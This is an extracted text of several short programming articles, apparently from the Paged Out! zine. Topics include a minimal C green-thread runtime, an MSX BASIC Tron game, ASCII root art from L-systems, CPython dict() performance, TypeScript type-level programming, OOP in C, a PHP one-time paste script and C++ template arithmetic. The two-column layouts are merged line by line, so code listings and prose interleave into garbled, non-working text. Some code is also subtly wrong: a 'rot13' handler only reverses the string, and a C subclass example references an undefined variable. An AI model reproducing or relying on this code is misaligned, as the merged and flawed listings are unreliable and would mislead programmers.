41 00 BINARY_XOR ('NB_AND', '&'), ...] 4e 00 INPLACE_XOR
42 00 BINARY_OR 4f 00 INPLACE_OR
[1] https://docs.python.org/3/whatsnew/3.11.html#replaced-opcodes
[2] https://github.com/faster-cpython/ideas/issues/101 [3] https://stackoverflow.com/questions/15376509/when-is-i-x-different-from-i-i-x-in-python

Gynvael Coldwind
https://hexarcana.ch/
24 https://gynvael.coldwind.pl/ SAA-ALL 0.0.7
Brittle Green Threads Programming

Green threads are a nearly seamless solution to the problem of

Brittle
concurrent programming. If done well, concerns such as blocking
IO and resource management can all but disappear. Given the

Green
strength of this abstraction, it's best to peel it away before it becomes
obfuscation: Let's write a minimal & brittle green‑thread runtime in
a little under a page of C.

Threads
#include <signal.h>
#include <ucontext.h>
After including the requisite libc
#include <stdlib.h>
headers, the first step is to define a
type for tasks. This is nothing more
than a function pointer, allowing the typedef void (*task_t)();
use of any function for a green
thread. Tasks must be stored static struct {
somewhere, so they go into a double‑ struct { task_t fn; void *args; } tasks[4096];
ended queue (dequeue) which forms int start, end;
the core of the ‘scheduler.’ } queue = { .start = 0, .end = 0 };

static void makecontext_wrapper(ucontext_t *cx,


The libc primitives that make green
threads simple are makecontext
task_t fn, void *args)
and swapcontext. These are used
{
to manipulate ucontext_t's, which
are structs containing all the context cx->uc_stack.ss_flags = 0;
for each green thread, including cx->uc_stack.ss_sp = malloc(SIGSTKSZ);
pending signals, register states, and cx->uc_stack.ss_size = SIGSTKSZ;
stack memory. Making these sigaltstack(&cx->uc_stack, NULL);
contexts isn't a complex process, and
the function on the right handles it makecontext(cx, fn, 1, args);
all. Note especially the allocation of a }
new stack for each task.

void gt_fork(task_t fn, void *args)


The first part of the public API, then,
{
is gt_fork. This schedules a task,
which amounts to nothing more than int idx = queue.end++;
an addition to the static dequeue. queue.tasks[idx].fn = fn;
queue.tasks[idx].args = args;
gt_consume is the next crucial }
function, running task after task to
empty that dequeue. On each void gt_consume(void)
iteration, it sets up a new context {
with its state and instructs the while (queue.start != queue.end) {
queued task to return to that context
ucontext_t ret, task;
when it terminates. swapcontext
int idx = queue.start++;
allows this almost trivially.
task.uc_link = &ret;
Of course, this code has a few makecontext_wrapper(
omissions. It doesn't address multi‑ &task,
threading, async IO, or basic bounds‑ queue.tasks[idx].fn,
checking. But the fundamental queue.tasks[idx].args);
processes of context manipulation
are identical, whether in a toy swapcontext(&ret, &task);
example or a robust language }
runtime. }

Tali Auster
website: https://tali.network/
CC BY-SA 4.0 github: https://github.com/atalii 25
Programming EasyTr0n

EasyTr0n
Santiago Garcia-Jimenez
164 X=10
166 X2=246
https://github.com/4nimanegra/EasyTr0n
175 REM "AND THE PLAYER DIRECTION"
This magazine transports me to the older and bet- 176 REM "0,1,2,3 EACH NUMBER"
ter times of computer culture. I remember the old 177 REM "DIFFERENT DIRECTION"
magazines like MSX software, MicroHobby, etc... 180 D=0
where people learned how to program on those comput- 185 D2=2
ers through source code and short comments attached 190 LINE(X,Y)-(X,Y),C2
on it. 195 LINE(X2,Y2)-(X2,Y2),C3
I dusted off my old MSX and started programming 199 REM "READ THE KEYS AND START PLAYING"
a simple game again like a long time ago, with a single 200 A$=INKEY$
page constraint. Here is the result, a tron game called 207 REM "LEFT OR RIGHT WILL ADD OR REMOVE"
EasyTr0n with a simple code where you play as one of 208 REM "1 TO PLAYER DIRECTION. IT WILL"
the light motorcicles and the computer has a simple AI. 209 REM "SIMULATE THE TURN"
210 IF A$=CHR$(28) THEN D=D+1
220 IF A$=CHR$(29) THEN D=D-1
230 IF D < 0 THEN D=D+4
240 IF D > 3 THEN D=D-4
245 REM "ESC WILL STOP THE GAME"
250 IF A$=CHR$(27) THEN GOTO 2000
255 REM "DIFERENT VALUES FOR DIRECTION"
256 REM "MOVES PLAYER ON DIFFERENT AXIS"
260 IF D=0 THEN X=X+4
If you do not have an MSX or simply do not have an 270 IF D=1 THEN Y=Y+4
old CRT screen, this code can also be played on an em- 280 IF D=2 THEN X=X-4
ulator. Just copy and paste the code on an MSX with 290 IF D=3 THEN Y=Y-4
the Microsoft Basic, the default OS on most MSX 295 REM "IF THE COLOR OF NEW POSITION IS NOT"
computers. 296 REM "BACKGROUND COLOR IT IS A WALL"
300 IF POINT(X,Y) <> CB THEN GOTO 2000
5 REM "SCREEN MENU IN TEXT MODE" 305 REM "NOW THE AI PLAYER MOVEMENT"
6 REM "TWO POSSIBLE OPTIONS" 306 REM "BEFORE MOVE TEST IF"
7 REM "START THE GAME OR EXIT" 307 REM "WE CAN MOVE IN THE SAME DIRECTION"
10 SCREEN 0 310 X3=X2
20 LOCATE 10,3 320 Y3=Y2
30 PRINT "EASYTR0N" 330 IF D2=0 THEN X2=X2+4
40 LOCATE 5,10 340 IF D2=1 THEN Y2=Y2+4
50 PRINT "1 Start Game" 350 IF D2=2 THEN X2=X2-4
60 LOCATE 5,15 360 IF D2=3 THEN Y2=Y2-4
70 PRINT "2 Exit Game" 365 REM "IF WE CAN MOVE, DO IT"
75 REM "WHILE NO VALID OPTION, REPEAT" 370 IF POINT(X2,Y2) = CB THEN GOTO 190
80 A$=INKEY$ 375 REM "ELSE, TEST IF WE CAN MOVE TO"
90 IF A$="1" THEN 110 376 REM "ANOTHER DIRECTION"
100 IF A$="2" THEN 2010 ELSE 80 380 D2=4
105 REM "PLAY SCREEN, GRAPHIC MODE" 390 IF POINT(X3+4,Y3) = CB THEN D2=0
110 SCREEN 3 400 IF POINT(X3,Y3+4) = CB AND D2=4 THEN D2=1
111 REM "WE WILL DEFINE COLORS HERE" 410 IF POINT(X3-4,Y3) = CB AND D2=4 THEN D2=2
112 C1=7 420 IF POINT(X3,Y3-4) = CB AND D2=4 THEN D2=3
114 C2=8 425 REM "IF NOT POSSIBLE, AI LOSES"
116 C3=2 430 IF D2=4 THEN GOTO 2000
117 REM "THE COLOR FOR BACKGROUND" 435 REM "IF AI CAN MOVE, LETS MOVE IT"
118 CB=4 440 X2=X3
119 REM "LETS MAKE THE LEVEL LIMITS" 450 Y2=Y3
120 LINE(0,0)-(256,0),C1 455 REM "LETS ITERATE FOR A NEW MOVEMENT"
130 LINE(0,0)-(0,192),C1 460 GOTO 310
140 LINE(0,192)-(256,192),C1 1995 REM "EXITING FROM PLAYING SCREEN"
150 LINE(256,0)-(256,192),C1 2000 GOTO 10
155 REM "DEFINE PLAYER START POSITION" 2005 REM "EXITING FROM GAME"
160 Y=96 2010 PRINT "GoodBye...."
162 Y2=96

Garcia-Jimenez, Santiago
https://github.com/4nimanegra
26 CC BY 4.0
Single-click Security Training
https://wargames.ret2.systems

Want to sleep sound at night while running PHP apps?


Tired of having all your web stuff compromised?
Miss the good ol' Suhosin days?
Want to catch juicy 0days?

Give Snuffleupagus a try.

https://snuffleupagus.rtfd.io
Programming Generate ASCII-Root-Art using formal grammar and randomness

Generate ASCII-Root-Art using


formal grammar and randomness
Every now and then I’m presented with an art project where I
have to, or could, generate part of it instead of creating it
manually. Loving the idea of generative, coded art, I never pass
up an opportunity like this. Recently, I was presented with such
an opportunity, the goal of which was to generate some ASCII
roots. For such a problem, the generation of some plant-like structures, a so-called
Lindenmayer system (https://wikipedia.org/wiki/L-system) is often used. Since
I have written one before, it strongly influenced my approach.
To keep it short, I will only focus on how I solved it. If this text sparks your
interest, try to implement a L-System or something similar yourself, it’s fun!
Our system will be based on a formal grammar, i.e. it will consist of an
alphabet (ASCII characters that can be used as root art), a grid on which it will
be placed, a collection of rules and an axiom. The goal is to generate a set of
ASCII characters at certain positions that represent a root system in its
entirety.
First, we need to define our alphabet. Since we want to create ASCII art that
represent roots, we will select the following characters: " | \ / ’ ( ) ".
"A" represents a dead end, and to create a branch, we will also add a " Y " but
rotate it by 180°. These will be placed on our grid later. To represent them, I
used the DSEG14 font by
Keshikan (see roots on the left, https://www.keshikan.net/fonts-e.html).
The axiom will be the starting point of our root. For the sake of simplicity, we
will define it as " | ", which represents a stem.
In order to apply our rules, we need to iterate over our current heads and store
them. The axiom will be the initial head, our head storage structure will look
like this. We also declare an empty list to store our root system.
# list = [xpos, ypos, "char (rule)"]
head = [[0, 0, "|"]]
root = []
The set of rules will look like this
# dict = { "rule": [ypos, [[xpos, "possible rules"]]]}
rules = { "|": [1, [[0, "Y\/()| "]]], …}
To generate our roots, we will iterate over our head,
# root generator, kind of an L-System, but just kind of..
def gen_root():
choose the rule based on its char, move our x and y
# "char", x rule, positions, choose a random new rule from the set of
[y rules, next char (hacky weighted random)] possible rules (these are weighted, we don't want to
rules = { "|" : [1, [[0, "YYYYYYYYYYYY\\\\//()()| "]]],
# a branch can result in 2 rules and split the head run into a dead end right away and we don't want too
"Y" : [1, [[1, "\\\\\\)))||| '"], many branches in a row) and append them to both our
[-1, "///(((||| '"]]], head and our root buffer. The head rule we just have
"\\": [1, [[1, "YYYY//(((||| '"]]],
"/" : [1, [[-1, "YYYY\\\\)))||| '"]]], worked through is removed from our head and we
")" : [1, [[-1, "YYYY///(((||| "]]], repeat this process until the head is empty.
"(" : [1, [[1, "YYYY\\\\\\)))||| "]]],
# dead ends will result in no rules
"'" : [1, []],
Our root generator function on the
" " : [1, []]} left will return a list called "root",
axiom = [10, 0, "|"]
which contains all generated roots
head = [axiom] # a self clearing buffer of our current grow-points and their positions. These then can
root = [axiom] # a persistent buffer of all grown roots
be placed on a grid, for example, as
while head: # run/grow as long as we have heads/grow-points shown above.
h = head.pop(0) # we will work through our heads in input order (fifo)
r = rules[h[2]] # extract our current ruleset for the current head
Another idea is to formulate a new
new_y = h[1] + r[0] # move on the y axis based on the rule set of rules for rendering, e.g.:
for b in r[1]: # iterate over our rules, may be 0, 1 or 2 rules
if root = "|", then draw a line from x
new_x = b[0] + h[0] # move on the x axis to y. (search term: turtle graphics,
opt_len = len(b[1])
new_char = b[1][random.randint(0, opt_len - 1)] # new char
https://wikipedia.org/wiki/Turtle_gr
new_root = [new_x, new_y, new_char] # assemble our new root aphics)
head.append(new_root) # append it to both the head and root
root.append(new_root) The code for my generator will be
# finally return the root buffer, it contains all roots used for rendering published together with the design
return root for the GPN22 https://gulas.ch

Jana Marie
@[email protected]
28 https://github.com/Jana-Marie SAA-ALL 0.0.7
Peaceful Waves (top), City Lights (bottom) Art

Mich-Spich My Website: https://mich-spich.carrd.co/


Twitter: https://twitter.com/MichSpich
SAA-POOL 0.0.7 Ko-fi: https://ko-fi.com/mich_spich 29
Programming Ma, why is dict() slower than {} in Python?

Ma, why is dict() slower than We could stop here and think the case’s closed, but
we all know ourselves — we’re in too deep already.
{} in Python? What’s the real reason for the performance differ-
ence — what really happens — when these bytecode
sets are executed?
# Introduction
Some time ago, due to a discussion I’ve had with ## Getting lost in CPython's source code
a colleague of mine, I began to wonder about the Constructing a new dictionary with dict relies
differences between dict() and {} . In program- upon a built-in type defined in the dictobject.c
ming — as in life — speed matters, so let’s take a file. Two major things happen when a new dictio-
look at how the two methods compare in terms of nary is constructed:
performance.
1. A new dictionary object is created by the
$ python -m timeit "dict()" __new__ method (in CPython, it’s dict_new ).
10000000 loops, best of 5: 40 nsec per loop
$ python -m timeit "{}" The dictionary is always created empty — with
20000000 loops, best of 5: 19.6 nsec per loop capacity zero.
2. The __init__ method (in CPython, it’s
It turns out that dict() is almost exactly 2x dict_init ) inserts all given entries to the
slower1 . Why? It’s even more confusing if you re- dictionary (if any).
alize that dictionaries created by the two methods
are indistinguishable from each other. Although So, what happens when you create a dictionary with
the results of these two methods are the same, they {} ? Well, the dict type will not help us here; we
are not doing the exact same thing under the hood. need to look for the BUILD_MAP opcode implemen-
tation in the bytecodes.c file.
# Analyzing Python's bytecode
The reference implementation of Python inst(BUILD_MAP, (values[oparg*2] -- map)) {
map = _PyDict_FromItems(
(CPython2 ) both compiles and interprets Python values, 2,
source code. It first compiles source code into values+1, 2,
bytecode, and then interprets it to execute ma- oparg);
// ...
chine code. The dis built-in module is a great way }
of investigating how Python compiles our source
code. Let’s compare bytecode for both dict() The dictionary construction is delegated to the
and {} . _PyDict_FromItems function. If we go there, we’ll
>>> import dis see that the function — in opposition to dict_new
>>>
>>> def a():
— pre-allocates the dictionary’s capacity and in-
... return dict() serts all entries immediately.
...
>>> def b(): PyObject* _PyDict_FromItems(/* ... */)
... return {} {
... // ...
>>> dis.dis(a) PyObject *dict = dict_new_presized(interp, length,
1 0 RESUME 0 unicode);
2 2 LOAD_GLOBAL 1 (NULL + dict) if (dict == NULL) {
12 CALL 0 return NULL;
20 RETURN_VALUE }
>>> dis.dis(b) // ...
1 0 RESUME 0 for (Py_ssize_t i = 0; i < length; i++) {
2 2 BUILD_MAP 0 // Inserts entries
4 RETURN_VALUE }
return dict;
}
Interesting! The instructions indeed execute differ-
ent code. Gliding over the common opcodes, we # Conclusions
see that dict() translates to LOAD_GLOBAL (which
When you do dict(a=1, b=2) , Python needs to:
loads a global variable onto the stack) and CALL
• load the global variable dict ,
(which calls a callable object), while {} translates to
• allocate a new PyObject ,
BUILD_MAP (which pushes a new dictionary object
• construct a dict via the __new__ method,
onto the stack).
• call its __init__ method, which internally calls
Alright, we could conclude that dict() yields PyDict_Merge .
more bytecode instructions, and, therefore, inter-
preter needs to execute more code, and therefore Whereas doing {'a': 1, 'b': 2} causes Python
dict() is slower. Success! to:
1
The benchmark’s been performed on an M1 MacBook and • construct a new dictionary with the required
with python 3.12 . capacity,
2
https://github.com/python/cpython • insert entries one-by-one.

Kamil Rusin
https://madebyme.today/
30 SAA-ALL 0.0.7
More Type-level programming Programming

More Type-Level Programming


Playing with TypeScript’s type system is fun, but a const addHandler = async (ctx: Ctx, request:
better use of our knowledge is to build a type-safe z.infer<typeof addReq>): Promise<z.infer<typeof
path-request-response triplet for an API. Our setup addResp>> => ({sum: request.x + request.y});
assumes 3 code repos: a backend repo, a frontend
repo, and a shared api-types repo: const rot13Handler = async (ctx: Ctx, request:
1. api-types exposes the relationship between z.infer<typeof rot13Req>): Promise<z.infer<typeof
URLs, requests, and responses. We define two rot13Resp>> => ({ciphertext: request.plaintext
endpoints: /add which adds two numbers and .split('').reverse().join('')})
/rot13 which manipulates a string. (z is an import
for zod, a popular data validation library.) export const handlers: Handlers = {
export const addReq = z.strictObject({
"/add": [addReq, addResp, addHandler],
x: z.number(),
"/rot13": [rot13Req, rot13Resp, rot13Handler],
y: z.number(),
}
});

async function dispatch(ctx: Ctx): Promise<any> {


export const addResp = z.strictObject({
const key = ctx.path as keyof Handlers;
sum: z.number(),
const [zRequest, zResponse, handler] =
});
handlers[key];
const r = await handler(ctx,
export const rot13Req = z.strictObject({
zRequest.parse(ctx.body) as any);
plaintext: z.string(),
// parse to prevent accidentally leaking data!
})
zResponse.parse(r);
return r;
export const rot13Resp = z.strictObject({
}
ciphertext: z.string(),
})
3. The frontend leverages the api-types, resulting in
a pleasant coding experience in an IDE:
export type Api = {
async function fetch<K extends keyof Api>(path: K,
"/add": [typeof addReq, typeof addResp],
params: z.infer<Api[K][0]>):
"/rot13": [typeof rot13Req, typeof rot13Resp],
Promise<z.infer<Api[K][1]>> {
}
// call the backend...
zod’s strictObject ensures that there are no additional fields. It solves the
“I accidentally leaked all the password hashes” problem inherent to }
TypeScript’s structural typing design.

The code in this article might look like a toy


2. The backend defines the type for handlers. In
example, but it’s actually pulled from a production
addition to our API being type-safe (the handler
codebase. In addition to the type-safety described in
is guaranteed to get and return the correct type
this article, it’s possible to use the exported Api type
of object), the type system guarantees that all
to ensure the application is always generating valid
endpoints have a handler.
links. Some people might dislike having to explicitly
type Handler<Req, Resp> = (ctx: Ctx, req: Req) =>
define the Api type in which case code generators are
Promise<Resp>;
a common option.
export type Handlers = {
[K in keyof Api]: [Api[K][0], Api[K][1],
Code for this article:
Handler<z.infer<Api[K][0]>, z.infer<Api[K][1]>>]; https://github.com/alokmenghrajani/type-level-programming
};

Alok Menghrajani
https://quaxio.com/
SAA-ALL 0.0.7 31
Programming Puzzles as Algorithmic Problems

Puzzles as Algorithmic Problems


This article is a brief advocacy for the use of puzzles
the question. This is a common theme in competitive
as algorithmic problems for learning purposes as an programming problems. The author has some solution
alternative to the current style of Competitive Program-
in mind, usually by combining a few techniques or al-
ming(CP) or Mathematics problems. gorithms in a clever way, and the problem solver has
The current trend in łhow to learn algorithmsž is to őgure out that speciőc solution.
mostly based on big tech companies and their inter- This is in stark contrast to real-world problems. In a real-
view process. This process is interleaved with the world problem, there is no łexistingž solution that you
ICPC(International Collegiate Programming Contest) have to discover. Of course the tricks and techniques
style of competitive programming, where a problem is you learn from competitive programming can be ap-
usually a combination or adaptation of several known plied to real-world problems, but the process of solving
algorithms or mathematical concepts. I see four prob- a real-world problem is much more open-ended. You
lems with this approach: also need to decide on your constraints yourself, un-
1. The problems are not real-world problems like the constraints given in competitive programming
2. The problems have pre-defined and deter- problems. What does it mean for your algorithm to
mined solutions be “fast enough”? Even further, what does it mean
3. The problems are very hard to solve if you for your algorithm to be “correct”? In CP, the answer
don’t already know the solution is usually łpasses all test casesž, but in the real world,
4. The problems are not fun the answer is not so clear-cut.

Let me elaborate on these points by walking through Given such discrepancies, I am proposing solving puz-
the process of solving a LeetCode problem. I picked zles by devising algorithms for them as an alternative
a medium problem with 34.5% solve rate, 3Sum. The to CP problems. The puzzles are actually fun to work
problem statement is as follows: with, they aren’t designed to be solved algorithmically,
so there is no solution you have to discover, you ac-
Given an integer array nums, return all the triplets
tually have to invent a solution. These puzzles can
[nums[i], nums[j], nums[k]] such that i != j, i !=
be anything from variants of Sudoku to small Chess
k, and j != k, and nums[i] + nums[j] + nums[k] ==
problems, any puzzle that doesn’t require any special
0. Notice that the solution set must not contain
knowledge to solve. The fact that you have to deőne
duplicate triplets.
your own constraints makes solving puzzles a much
better approximation of real-world problem solving
The naive solution would be to simply brute force the than CP problems. Solving a puzzle algorithmically
entire array, which would be O(nˆ3). This is obviously means that (1) you must deőne your constraint for cor-
not the intended solution, so we are led to think where rectness and performance, as well as the space of in-
we can optimize. A classic approach for array questions puts you are interested in, (2) you must devise a robust
is to őrst sort the array in the hope that it will allow for testing strategy, (3) you must model the problem space
some optimization in the algorithm. After sorting the as a data structure in the programming language, per-
array, we can use the two-pointer technique to őnd the haps think about the trade-offs between different rep-
triplets. resentations of the problem space, (4) you must devise
As you might’ve realized when reading the above para- an algorithm that solves the problem, and (5) you must
graph, I didn’t invent anything when solving the ques- implement the algorithm and test it. Together, I be-
tion. In fact, the author already had an optimal solu- lieve these steps are a much better approximation
tion, as well as a naive one, when they were writing of real-world problem solving than CP problems.

Figure 1 an example of a puzzle that I solved recently.


Your task is to őnd a set of brushes that paint the source
into the target canvas. For this particular example,
brushing order A-F-B-D is the solution. Can you devise
a general algorithm for solving this puzzle for any
source and target canvas in any size? If you’re inter-
ested, you can also read my solution at
https://www.alperenkeles.com/blog/paintbrush.
Figure 1: Paintbrush Puzzle

Alperen Keles
https://alperenkeles.com/blog
32 https://twitter.com/keleesssss SAA-TIP 0.0.7
Quick introduction to model-based design in C Programming

Quick introduction to model-based


// Foo.c
design in C #include "Foo.h"
Imagine you have such a class interface in C++: struct Foo_prv { int p; };
void foo_init(struct Foo *this) {...}
class Foo { void foo_quit(struct Foo *this) {...}
private: int foo_doSth(struct Foo *this, int arg) {...}
int p; // property
public: struct Foo_prv describes the private part of your class.
Foo(); Keep in mind that you need to allocate memory pointed
~Foo(); to by prv in foo_init. Notice that providing a forward
virtual int doSth(int arg); // do something declaration of Foo_prv is optional. If you try to access
}; the private member p, you will get the invalid use of
undefined type ‘struct Foo_prv’ compilation error
How would you implement it in C? Well, it depends on in gcc. If you want to have public members, keep them
its use cases, but in general, according to Bruce Powel directly in struct Foo.
Douglass, you have three possible approaches:
• Functional Design, Object Oriented Design
• Object Based Design,
OK, we cannot turn our heads the other way forever -
• Object Oriented Design.
doSth has the virtual speciĄer. As you should know,
In this article, I will cover all of them. it means any instance of the class can have its own
variant of doSth. In that case, you could implement that
behaviour by using a function pointer. Look:
Functional Design
// Foo.h
Assume that you only need a single instance of the above
struct Foo;
class, i.e. you want a singleton. In that case, the prob-
typedef int (*foo_doSth_ptr)
lem reduces to representing the class as a pair of in-
(struct Foo *this, int arg);
terface/implementation Ąles. Let's take a look at my
struct Foo { struct Foo_prv *prv;
proposed solution:
// initialize doSth pointer in foo_init
// Foo.h foo_doSth_ptr doSth; };
void foo_init(); // Foo() void foo_init(struct Foo *this);
void foo_quit(); // ~Foo() void foo_quit(struct Foo *this);
int foo_doSth(int arg);
// you can call doSth like this:
// Foo.c struct Foo *foo = ...;
#include "Foo.h" foo->doSth(foo, 5);
static int p; // you can wrap it in foo_doSth(...) to make
void foo_init() {...} // the syntax consistent, but it's up to you
void foo_quit() {...}
int foo_doSth(int arg) {...} Subclassing
The code above is straightforward. Notice that I used How would you implement a subclass then? struct Sub-
preĄxes to indicate membership of public functions to Class should be a valid instance of struct BaseClass after
the class interface. Private members of the class are type casting, so struct SubClass should have overlap-
hidden by using the static keyword, limiting their scope ping memory layout with respect to struct BaseClass.
to a single Ąle. Example:
struct Bar { struct Foo super; // base class
Object Based Design int a, b; }; // public fields
What if the assumption you made is not valid, i.e. you void bar_init(struct Bar *this) {
want to have multiple instances of the class? No problem, struct Foo *fooptr = (struct Foo *)&bar;
represent each class with a structure, then! Let's forget foo_init(fooptr);
for a moment about the virtual speciĄer of doSth. this->a = 5; this->b = 10; }

// Foo.h Are there any subclassing implementations that do not


struct Foo_prv; // optional declaration rely on memory layout overlapping? Sure, there are!
struct Foo { struct Foo_prv *prv; }; One of the examples is object oriented inheritance im-
void foo_init(struct Foo *this); plemented in Linux kernel. If you are interested in the
void foo_quit(struct Foo *this); topic, read about container_of(ptr, type, member) and
int foo_doSth(struct Foo *this, int arg); offsetof(type, member) macros.

Szymon Morawski
https://szymor.github.io/
CC0 33
Programming Tiny "One Time Paste" The PHP Way

Tiny “One Time


<?php

if($_FILES)
move_uploaded_file($_FILES[0]['tmp_name'],

Paste” The PHP Way $f = sprintf("%x", crc32(time()))) and


die($f);

if($_GET)
if(file_exists($f =
Sooner or later, some of us might find themselves in need basename(key($_GET))))
of passing information to another person quickly. There {
are many services that allows you to paste code snippets echo file_get_contents($f);
unlink($f);
but I rarely remember their addresses. And also, do they }
allow simple plaintext access? What happens when I
remove such a paste? Is it really permanently erased?
This can be saved as index.php and served via PHP built-in
HTTP server:
Assumptions
• After being displayed once, paste will be $ php -S 0.0.0.0:8000
automatically removed. [Sat Oct 22 11:17:27 2022] PHP 7.4.30
• Easy upload/download from command line using Development Server (http://0.0.0.0:8000)
started
curl – no fancy ajax forms.
• The less code, the better.
Upload:
Issues
[1] Initially, I thought that it would be possible to easily $ curl http://addr:8000/ -F "[email protected]"
5532bedc
receive and save files using php://input wrapper. But it
turned out that this method gets rid of new line characters
if the user used --data instead of --data-binary in curl, and Accessing is just as simple and hassle-free:
that would be confusing (curl’s fault, but still).
$ curl http://addr:8000/?5532bedc
foo
[2] Abandoning this idea, I thought of using the file upload
method provided by PHP developers - utilizing $_FILES bar
array. "The uploaded file will only be on the server for a $ curl http://addr:8000/?5532bedc
brief moment anyway, so can we leave it in /tmp and read $
from there?". A bold idea, but it turns out that the
unmoved file won't be left until the system reboot, and
will be deleted just after the script finishes its work. Of course, it should be borne in mind that the server
embedded in PHP is considered an experimental
[3] In the meantime, I had a reflection that the ability to functionality and it's not recommended to be run in
download a file directly (using typical HTTP to FS mapping) production environments. It also does not support
would be problematic when you want to delete it, and I cryptographic methods for securing the connection,
wanted to exclude the need to use mod_rewrite or similar which can be remedied by using another, more complex
mechanisms. server, i.e.: Apache.

Lastly - presented solution is an ad-hoc option. When in


Solution
need of an actual secure solution, you may need to
Perhaps the naming convention (CRC32 checksum on a
approach the topic in a completely different way from the
timestamp) isn't very elegant, but it provides sufficient
one presented above.
uniqueness and ease of rewriting the name.

Use of basename() prevents path manipulation, and


operating on _GET array key instead of its value will not
only eliminate the need to declare an additional variable
with the name of the resource being read, but also
prevent attempts to read files with extensions (e.g.
index.php), due to automatically replacing “.” with “_”
(yes, really).

Kamil Uptas
34 CC0
Truly Terrible Template Arithmetic Programming

truly terrible template <typename LHS, typename RHS>


class Add {};
template arithmetic template <typename LHS>
class Add<LHS, Zero>
Mathematicians and logicians have spent a lot of time {
trying to make numbers make sense. Computers don’t public:
care; an int is an int is an int; an addq is an addq. using Result = LHS;
But it could always be worse: Let’s follow along with the };
mathematicians, implementing Presburger arithmetic
at compile time with some moderately cursed C++ tem‐ static_assert(std::is_same<
plate tomfoolery. Then, we’ll turn our attention to the Add<One, Zero>::Result,
more capable but ultimately out‐of‐reach Peano arith‐ One,
metic system. >::value);
The natural starting point is 0, which, given as we’re
working at compile time, will have to be a type: Now, we can write a recursive template, and get the rest
of addition for free:
class Zero {};
template <typename LHS, typename RHS>
With this, we can assert that 0 equals 0: class Add<LHS, S<RHS>>
{
static_assert( public:
std::is_same<Zero, Zero>::value using Result = S<typename
); Add<LHS, RHS>::Result>;
};
Now, we may want to count a bit higher than 0. We may
static_assert(std::is_same<
want to talk about 1, 2, or even 3! What we want, in
Add<One, One>::Result,
short, is to represent the successors of a number. 1 fol‐
Two
lows 0, 2 follows 1, and 3 follows 2. 1 is the successor of
>::value);
0 — we may call it S(0) — 2 is the successor of 1 — we’ll
call it S(1) — and so it goes. In fact, template metapro‐
gramming provides us with all the tools that we need to The right hand side of our expression ticks down to zero
jot that down: until the base case kicks in. This constitutes the system
known generally as Presburger arithmetic. It’s a simple
class S<typename T> {}; system that concretely defines addition and the natural
numbers, but it’s quite obviously short of everything we
using One = S<Zero>; want out of arithmetic. We can patch up our type def‐
using Two = S<One>; initions by adding operators for comparison, multipli‐
using Three = S<Two>; cation, and a few others, but the next real step in ex‐
pressivity comes down to proving broader statements.
With our type declarations and a C++ compiler, we can It’s all well and good to say that 1+2 = 2+1, but wouldn’t
verify some simple statements: we like to show that x+y = y +x for every natural num‐
ber?
// 1 = 1
static_assert( The complete system of Peano arithmetic gives us an
std::is_same<One, One>::value axiom of induction: If a fact is true at 0, and its truth
); at n implies its truth at n + 1, then we know the fact is
always true. (If it’s true at 0, it’s true at 1. If it’s true at
// 1 != 3 1, it’s true at 2, and so on. If we know it’s true at 0, we
static_assert( know it’s always true!) Perhaps if we encoded this in the
!std::is_same<One, Three>::value type system, we could static_assert any theorem
); we wanted. Fortunately for mathematicians, though,
this can’t be done. We’d need to get the C++ type sys‐
tem talking not just about S<Zero> and S<S<Zero>>,
Now that we’ve got our numbers, we can try to start but about the successors of any and every type, all at
adding them. This is a recursive process: 1 + 0 (in our once: How else could we write a theorem? Nor is there
parlance, S<Zero> + Zero) is quite simple; it just be‐ an algorithm to judge a theorem: Each case — perhaps
comes S<Zero>. 2 + 0 is also simple; it’s just 2, or an exercise for the reader — requires manual input and
S<S<Zero>>. Anything at all added to zero results in just a little bit of creativity.
that original number:

Tali Auster
https://tali.network/
CC BY-SA 4.0 35
Art Pixel Art VFX! and Cube Skulls

Matthieu Rappeneau
Twitter: https://twitter.com/rappenem
36 Instagram: https://www.instagram.com/Rappenem_/ SAA-ALL 0.0.7
Type-level programming Programming

Type-Level Programming
Statically typed programming languages are the over a dozen other types: First, Shift, Last, Pop
closest typical programmers come to using formal manipulate arrays. Flatten, Unique, and AllDiff
systems. If used properly, a type system decreases the work together to ensure that every element is
probability of software bugs by providing specific different. Col, Reduce, Tr process arrays of arrays. D1
guarantees. I, however, long for our field to adopt and D2 pull out the diagonal numbers. Sum computes
ever increasing levels of formalism. Perhaps writing sums by converting numbers into arrays with Arr and
provably bug-free programs will become the norm? subsequently concatenating all the arrays. SameSums
checks that all the sums match up.
TypeScript, designed as a retrofit for JavaScript
codebases, is a very expressive tool — complicated Learn more about type-level programming:
programs can be written, which run as part of the https://softwaremill.com/developing-type-level-algorithms-in-ty
type-checker. For example, the program below only pescript/ and https://developers.mews.com/compile-time-funct
compiles if the array on lines 33-35 is a magic square! ional-programming-in-typescript/

Verbose version of this article’s code:


The type system doesn’t allow writing loops; https://github.com/alokmenghrajani/type-level-programming
however, functional-style programming can be used
to define the MagicSquare type which depends on

1 type And<A extends boolean, B extends boolean> = A extends true ? B : false


2 type Arr<N extends number, R extends any[] = []> = R["length"] extends N ? R
3 : Arr<N, [...R, any]>
4 type First<T extends any[]> = T extends [infer H, ...infer _] ? H : any
5 type Shift<T extends any[]> = T extends [infer _, ...infer Rest] ? Rest : any[]
6 type Last<T extends any[]> = T extends [...infer _, infer L] ? L : any
7 type Pop<T extends any[]> = T extends [...infer H, infer _] ? H : any
8 type Col<T extends any[][], R extends any[] = []> = T["length"] extends 0 ? R :
9 Col<Shift<T>, [...R, First<First<T>>]>
10 type Reduce<T extends any[][], R extends any[][] = []> = T["length"] extends 0 ? R :
11 Reduce<Shift<T>, [...R, Shift<First<T>>]>
12 type D1<T extends any[][], R extends any[] = []> = T["length"] extends 0 ? R :
13 D1<Reduce<Shift<T>>, [...R, First<First<T>>]>
14 type D2<T extends any[][], R extends any[] = []> = T["length"] extends 0 ? R :
15 D2<Reduce<Pop<T>>, [...R, First<Last<T>>]>
16 type Tr<T extends any[][], R extends any[][] = []> = First<T>["length"] extends 0 ? R :
17 Tr<Reduce<T>, [...R, Col<T>]>
18 type Flatten<T extends any[][], R extends any[] = []> = T["length"] extends 0 ? R :
19 Flatten<Shift<T>, [...R, ...First<T>]>
20 type Unique<A extends any, B extends any[]> = B["length"] extends 0 ? true :
21 A extends First<B> ? false : Unique<A, Shift<B>>
22 type AllDiff<A extends any[]> = A["length"] extends 0 ? true :
23 And<Unique<First<A>, Shift<A>>, AllDiff<Shift<A>>>
24 type Sum<T extends any[], R extends any[] = []> = T["length"] extends 0 ? R :
25 Sum<Shift<T>, [...R, ...Arr<First<T>>]>
